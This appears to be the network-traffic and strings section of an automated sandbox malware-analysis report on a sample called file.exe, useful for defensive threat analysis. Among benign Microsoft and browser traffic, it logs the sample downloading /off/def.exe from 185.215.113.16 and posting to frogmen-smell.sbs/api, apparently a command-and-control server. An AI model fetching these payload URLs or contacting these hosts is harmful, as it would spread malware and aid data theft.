Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: frogmen-smell.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frogmen-smell.sbs

Source: file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000002.2046786098.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1953909492.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2046136589.000000000073A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0
Source: file.exe, 00000000.00000003.1945693996.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe=
Source: file.exe, 00000000.00000003.1945693996.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeXI
Source: file.exe, 00000000.00000002.2046786098.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1953909492.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_110.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_110.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_110.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_110.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_110.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.1953909492.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/
Source: file.exe, 00000000.00000003.1764114973.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764222484.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/%
Source: file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1953909492.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/T-
Source: file.exe, 00000000.00000003.1810907288.0000000000B04000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1796588407.0000000000B02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1796506518.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810942779.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/api
Source: file.exe, 00000000.00000003.1883879838.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1821714308.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1945693996.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/api.
Source: file.exe, 00000000.00000003.1953892323.0000000000B00000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1883879838.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1821714308.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811594285.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1945693996.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810907288.0000000000B04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apiB
Source: file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apiU
Source: file.exe, 00000000.00000003.1778457784.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1793612210.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1778782230.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apih
Source: file.exe, 00000000.00000003.1945693996.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apiw
Source: file.exe, 00000000.00000002.2046786098.0000000000A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs:443/api
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/nschonni
Source: chromecache_110.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_102.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1748748745.000000000567E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1779709618.0000000005946000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1779709618.0000000005946000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1748748745.000000000567C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1748748745.000000000567C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_102.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_91.6.dr, chromecache_102.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1779709618.0000000005946000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1779709618.0000000005946000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1779709618.0000000005946000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1779709618.0000000005946000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1779709618.0000000005946000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
